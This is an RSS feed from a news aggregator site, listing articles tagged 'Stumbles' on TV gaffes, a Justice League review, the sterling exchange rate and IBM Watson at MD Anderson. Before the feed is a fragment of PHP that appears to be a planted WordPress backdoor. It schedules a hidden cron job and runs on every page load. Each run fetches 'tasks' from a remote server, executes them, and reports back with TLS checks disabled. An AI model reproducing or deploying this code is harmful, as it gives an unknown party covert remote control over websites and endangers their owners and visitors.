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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Stumbles – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 18 Sep 2020 21:35:33 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Stumbles – Brief News https://briefnews.eu 32 32 The Chase’s Mark Labbett ‘stumbles’ after contestant’s ‘performance of the century’ https://briefnews.eu/the-chases-mark-labbett-stumbles-after-contestants-performance-of-the-century/ https://briefnews.eu/the-chases-mark-labbett-stumbles-after-contestants-performance-of-the-century/#respond Fri, 18 Sep 2020 21:35:33 +0000 https://briefnews.eu/the-chases-mark-labbett-stumbles-after-contestants-performance-of-the-century/

The Chase viewers were blown away by Frank and took to Twitter to comment. 

One said: “Frank has to be the most impressive contestant I’ve ever seen on #TheChase.”

“Oh my god, Frank is not to be f****d with, I tell you! #TheChase,” another said. 

“The most well-deserved WIN!! I wish they had more money in the pot. BRAVO FRANK and Adam. That was the best #TheChase,” a third added. 

‘Bloody hell they’re good and Mark is stumbling now #TheChase,” a fourth shared.

The Chase airs weekdays on ITV at 5pm.

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]]> https://briefnews.eu/the-chases-mark-labbett-stumbles-after-contestants-performance-of-the-century/feed/ 0 ‘Justice League’ Spoiler Review: The DCEU Stumbles Again https://briefnews.eu/justice-league-spoiler-review-the-dceu-stumbles-again/ https://briefnews.eu/justice-league-spoiler-review-the-dceu-stumbles-again/#respond Mon, 20 Nov 2017 15:04:57 +0000 http://briefnews.eu/justice-league-spoiler-review-the-dceu-stumbles-again/ Justice League Spoiler Review

(In our Spoiler Reviews, we take a deep dive into a new release and get to the heart of what makes it tick…and every story point is up for discussion. In this entry: the superhero team-up extravaganza Justice League.)

You can’t save the world alone, and saving the DCEU might be even more of a challenge. After Warner Bros. and DC finally found their footing with Wonder Woman, the superhero series trips over its own cape with the cacophonous Justice League. What should be a moment of triumph for the series – the long-awaited team-up of their signature heroes – instead feels like an uncomfortable obligation. It’s like a weekend visit to grandma – you don’t want to do it, there’s other things you’d really like to be doing, but you figure you make the effort because she’ll be gone soon.

As of this writing, Justice League is underperforming even more than anyone expected. The film failed to break the coveted $ 100 million domestic weekend opening gross, which will no doubt lead to a string of think-pieces pondering, “What went wrong with the DCEU?” With all this in mind, it almost feels cruel to hammer Justice League more. But this is the task at hand. I come not to praise Justice League, nor do I come to bury it. Instead, I want to try to get to the heart of what makes it tick. This is a garish, visually hideous work of pop art, yet I firmly believe it has its heart in the right place: it wants to tell a fun, entertaining story about a group of people coming together to solve a huge problem, and growing as they do so. But what it wants to do, and what it actually does are two very different things. This Justice League spoiler review will highlight what works best in the film, and what doesn’t work at all.

Spoilers follow, obviously.

 

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Unite The League: The Set-Up

Welcome to a world without Superman. After two distinct movies about how much of a jerk Superman is, Justice League would like to us to believe the DCEU Supes was really a symbol of hope. That is, of course, how Superman should be, but the DC films have gone out of their way to paint a portrait of a conflicted, angst-ridden Man of Steel who doesn’t understand why people won’t get off his back. Of course, death changes things. When you attend the funeral of someone who was a jerk in real life, you don’t give a eulogy about how much you disliked them.

Over a montage set to an abysmal cover of Leonard Cohen’s “Everybody Knows”, we see a world growing uglier, and meaner, following the death of Superman. Racism, crime, misery are all on the rise, and the world at large still seems to be in a state of shock. “Everybody knows the good guys lost,” as the one of the lyrics in “Everybody Knows” say.

Ordinary criminals and jerks seem to be flourishing in the wake of Superman’s death, but so, too, are Parademon – giant bug-demon people who fly around, hissing and spitting and having absolutely no personality. You might remember them from the mind-numbingly bad dream sequence in Batman v Superman: Dawn of Justice; the one where Batman (Ben Affleck) wears a duster over his batsuit for some reason.

Speaking of Batman, he’s feeling pretty guilty about Superman’s death. After all, Lex Luthor stoked Batman’s xenophobia to turn him against the Kryptonian, leading to a smack-down that ended with the monstrous Doomsday murdering Supes. As if to atone for his hand in Superman’s demise, Batman is hell-bent on assembling a team of heroes with extraordinary abilities to combat the Parademons. Rather than do more research into the world of superheroes, Batman has decided to put together a team of people he learned about from all those QuickTime videos on Lex Luthor’s hard drive in Batman v Superman. That team consists of:

Diana Prince, aka Wonder Woman (Gal Gadot), who you might remember from her own movie earlier this year. After single-handedly saving the DCEU, Wonder Woman is forced to take a bit of a backseat here. While Gadot’s performance as Diana of Themyscira in Wonder Woman was one of great humor and humanity, here she does little more than strike cool poses with her shield, get saddled with painfully flat dialogue and be the subject of constant upskirt shots from directors Zack Snyder and Joss Whedon. We get it – Gadot is a very attractive woman, but the male gaze has never felt more obvious and unnecessary than it does here, contrasted against Patty Jenkins’ wonderful handling of the character in Wonder Woman.

Barry Allen, aka The Flash (Ezra Miller). He’s super quick, and super funny. Miller is the MVP of the film, playing his character as a big kid constantly amazed at everything happening around him. As written, Barry is a dud. Even an emotional scene with his imprisoned father (Billy Crudup) fails to resonate with the pathos the film wishes it did. Yet Miller is so charming here; so confident in his portrayal, and clearly the only actor having fun. It’s infectious.

Arthur Curry, aka Aquaman (Jason Momoa). Talks to fish. Heir to an undersea kingdom. Says things like “My man!” and “Yeah-uh!” a lot. In great shape. That’s about it! There’s not a whole lot to Aquaman here. Sorry.

Victor Stone, aka Cyborg (Ray Fisher). Cyborg had his body destroyed in a car accident, so his father (Joe Morton) used alien technology to turn him into a Cyborg. As a result, Cyborg doesn’t have complete control of his robotic abilities. But he can turn his arms into guns, so that’s something, I guess?

Very little time is spent explaining why Batman thinks these are the people for the job. Instead, he assembles them one by one and then they go to work. Steppenwolf (Ciarán Hinds), the worst villain in movie history, has returned from his banishment and wants to gather up the three Mother Boxes. Just what are the Mother Boxes, you ask? Who cares! The movie certainly doesn’t. They’re MacGuffins – objects awkwardly inserted into the story to further the plot. They sort of look like the puzzle boxes from Hellraiser, only with more lightning shooting out of them.

After the Justice League has their asses handed to them by Steppenwolf, Batman suddenly gets the bright idea of raising Superman from the dead. If you thought Superman was already sort of still alive – since the last shot of Batman v Superman showing dirt rising from his coffin might suggest that – think again. Instead, Flash and Cyborg dig up Superman’s corpse like they’re in a bargain basement remake of Frankenstein, then the team drops the cold, lifeless body into the moat of water that just happens to be inside the Kryptonian ship left over from Man of Steel. This is the same magic liquid that Lex Luthor used to summon Doomsday in B v S. Just how the hell does this liquid work? Eh, who cares. All that matters is it brings Superman back to life.

Superman proceeds to kick the shit out of the Justice League, and only calms down when Lois Lane (Amy Adams) shows up and reminds him of who he is. While Superman gets his bearings, the Justice League jets off to a location that’s clearly inspired by Chernobyl, where Steppenwolf, now in possession of all three Mother Boxes, is about to become an all-powerful world-destroying machine. Superman soon shows up to help, the heroes kill Steppenwolf, and we all go home with splitting headaches.

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An Ideal of Hope: What Works

While every frame of Batman v Superman was an oppressive, pummeling bore, Justice League often seems to be trying to be something more. It doesn’t always work – in fact, it almost never works. But it’s clear an attempt is being made. BvS seemed to radiate hatred; to throw off sour vibes of doom and gloom, almost as if someone was constantly shouting “WHY ARE YOU WATCHING THIS?!” into your ears from scene to scene. Justice League wants to be more hopeful. It wants to believe in a better world; a world of heroes.

“I don’t recognize this world,” Alfred (Jeremy Irons) tells Batman at one point. Right there with you, Al. While Justice League only scratches the surface of deeper issues, it is very much trying to be a film that reflects whatever miserable hellscape we currently find ourselves in. In such dark, troubling times, it’s very hard to hang onto hope, and it’s even harder to find heroes rising out of the rubble. Justice League lets its heroes off a little too easily: there’s no conflict among them; there’s no sign that they need to learn to work together better. They just happen to team up, and that’s it. A little more difficulty assembling the team would’ve gone a long way, but what’s here is better than nothing, I suppose.

After two films showing Henry Cavill’s Superman as a reluctant jackass, Justice League finally gets him right (I’ve written more extensively about this here). To quote a lyric from Hamilton: “And all he had to do was die.” Some will no doubt find fault in this: it’s a betrayal of the character as he’s been established in the continuity of the series. Sure, that’s true. But here’s a counter argument: why would you want to keep that continuity? Maybe I’m being old fashioned, but I’d much rather have a Superman who acts like Superman instead of one who keeps complaining about how everyone wants him to be a hero. Also, I’d say the fact that Superman rises from the grave here is a pretty good explanation for a drastic change in character. Yes, he’s acting different than he did in his other two films, but wouldn’t you assume that dying and then coming back from the dead would change a man, even a super-man?

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]]> https://briefnews.eu/justice-league-spoiler-review-the-dceu-stumbles-again/feed/ 0 Strictly Come Dancing 2017: Zoe Ball stumbles off It Takes Two set ‘I’m going to pass out’ https://briefnews.eu/strictly-come-dancing-2017-zoe-ball-stumbles-off-it-takes-two-set-im-going-to-pass-out/ https://briefnews.eu/strictly-come-dancing-2017-zoe-ball-stumbles-off-it-takes-two-set-im-going-to-pass-out/#respond Thu, 05 Oct 2017 18:47:19 +0000 http://briefnews.eu/strictly-come-dancing-2017-zoe-ball-stumbles-off-it-takes-two-set-im-going-to-pass-out/

The host told BBC viewers she thought she was going to “pass out” after she assisted the professional dancer in a demonstrating a pivot.

The 46-year-old was seen stumbling off to the side straight afterwards, forcing her companion to assist her and bring her back to where she should be standing.

During a footwork discussion about Joe McFadden and Katya Jones, Ian, 46, said they were losing contact and he was appearing “too square” – a demonstration soon followed.

He was seen spinning Zoe around at speed after she offered her help, but she could be heard squealing, “Help me!”

When they finally came to a stop, the presenter was seen wandering uncontrollably to her right, telling him: “If you need me I’ll be over here…”

Later, as the segment came to an end, Zoe went on: “I feel like I’m going to pass out. I’m properly spinning…” but luckily it all seemed to be okay after the VT.

Many took to Twitter to comment on Zoe’s reaction, with one user posting: “Poor @ZoeTheBall looked like she needed a travel sickness bag after that pivot #ItTakesTwo.”

Two others posted: “@ZoeTheBall @ianwaite love to see u doing both dancing 2gether in the demo section. Always wil b my fav dancers #ItTakesTwo,”(sic) and: “Here’s @ianwaite pivoting with @ZoeTheBall them making her dizzy. #ItTakesTwo.”(sic)

The instalment also saw an awkward moment between Alexandra Burke and Gorka Márquez, after he was asked if he’d seen her “puppies”.

Strictly Come Dancing: It Takes Two continues tomorrow at 7pm on BBC Two.

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]]> https://briefnews.eu/strictly-come-dancing-2017-zoe-ball-stumbles-off-it-takes-two-set-im-going-to-pass-out/feed/ 0 Pound to Euro exchange rate: Sterling “stumbles” after poor construction sector figures https://briefnews.eu/pound-to-euro-exchange-rate-sterling-stumbles-after-poor-construction-sector-figures/ https://briefnews.eu/pound-to-euro-exchange-rate-sterling-stumbles-after-poor-construction-sector-figures/#respond Tue, 05 Sep 2017 08:41:18 +0000 http://briefnews.eu/pound-to-euro-exchange-rate-sterling-stumbles-after-poor-construction-sector-figures/

Bloomberg posted the Pound to Euro exchange rate as 1.0873 this morning.

Speaking about the figures, Laura Parsons, TorFX currency analyst, said: “The pound stumbled against the euro on Tuesday in response to a less-than-impressive UK construction report.

“Although the construction sector only accounts for a small percentage of total UK economic output, there were concerns that the report is indicative of conditions generally deteriorating over the next few months.”

Construction activity slumped in August to its lowest level in 12 months.

The monthly survey of purchasing managers (PMI) showed a significant decline in building works, with a reading of 51.1 for last month – down from 51.9 in July.

And there could be further bad news for the Pound depending on the service sector report, due today.

Laura explained: ““If today’s more-influential service sector report declines as expected GBP/EUR could record further losses.”

But Laura did foresee a potential recovery for Sterling, and said: “The pound could find some respite if today’s Eurozone retail sales report reveals a slump in consumer spending.”

Sterling is likely to jump around heavily over the course of the day depending on the results of these two influential reports.

Yesterday, sterling was slightly higher than this morning, at a rate of €1.089.

But this proved to be an anomaly, as last week figures were the same as today, with Thursday and Friday posting €1.087.

Eurozone inflation results posted on Thursday revealed the rate rose faster than expected in July.

According to CPI data published by Eurostat, Eurozone inflation jumped from 1.3 per cent to 1.5 per cent in July

This outpaced expectations it would only reach 1.4 per cent and reaching a new four-month high.

The rise is likely to renew calls for the European Central Bank (ECB) to tighten monetary policy, especially after German inflation surged to 1.8 per cent this month, placing it just short of the Bank’s two per cent target.

With the ECB set to hold its latest policy meeting this week, speculation will be rife over whether the bank will begin discussing the possibility of tapering its quantitative easing programme, a prerequisite for the central bank to start raising interest rates.

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]]> https://briefnews.eu/pound-to-euro-exchange-rate-sterling-stumbles-after-poor-construction-sector-figures/feed/ 0 Andi Peters STUMBLES through disastrous live competition segment: 'Epic fail!' https://briefnews.eu/andi-peters-stumbles-through-disastrous-live-competition-segment-epic-fail/ https://briefnews.eu/andi-peters-stumbles-through-disastrous-live-competition-segment-epic-fail/#respond Fri, 12 May 2017 09:25:48 +0000 http://briefnews.eu/andi-peters-stumbles-through-disastrous-live-competition-segment-epic-fail/

During the competition segment with Andi Peters, eagle-eyed viewers noticed a technical fail the in-studio graphics. 

Starting from a tent, the 46-year-old struggled to emerge whilst he was tucked up in a sleeping bag.

As he tumbled over the studio, Andi shouted: “Who’s idea was this? Who’s idea was this?”

But the gaffes didn’t stop there, as the presenter brushed past the disastrous typo behind him. 

The competition countdown clock read: “Lines close in: 6 mins, 18 mins and 43 secs.”

Eagle-eyed viewers noticed the blunder, with one taking to Twitter saying: “@ITV #GMB Whoever did this graphic needs to check their work.”

Another added: “EPIC FAIL!! From the technical side of things on #GMB.” [sic]

A third posted a photo of the gaffe with the caption: “How does that work? #GMB.”

This unfortunate blunder followed a heated debate between Ben Shephard and Labour MP Barry Gardiner. 

Good Morning Britain airs weekdays on ITV from 6am. 

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]]> https://briefnews.eu/andi-peters-stumbles-through-disastrous-live-competition-segment-epic-fail/feed/ 0 Hospital Stumbles in Bid to Teach a Computer to Treat Cancer https://briefnews.eu/hospital-stumbles-in-bid-to-teach-a-computer-to-treat-cancer/ https://briefnews.eu/hospital-stumbles-in-bid-to-teach-a-computer-to-treat-cancer/#respond Wed, 08 Mar 2017 12:18:16 +0000 http://briefnews.eu/hospital-stumbles-in-bid-to-teach-a-computer-to-treat-cancer/ The University of Texas MD Anderson Cancer Center launched an ambitious project with IBM Watson to transform cancer care with the help of artificial intelligence. Almost five years and more than $ 62 million later, the institution has little to show for it, according to an audit.
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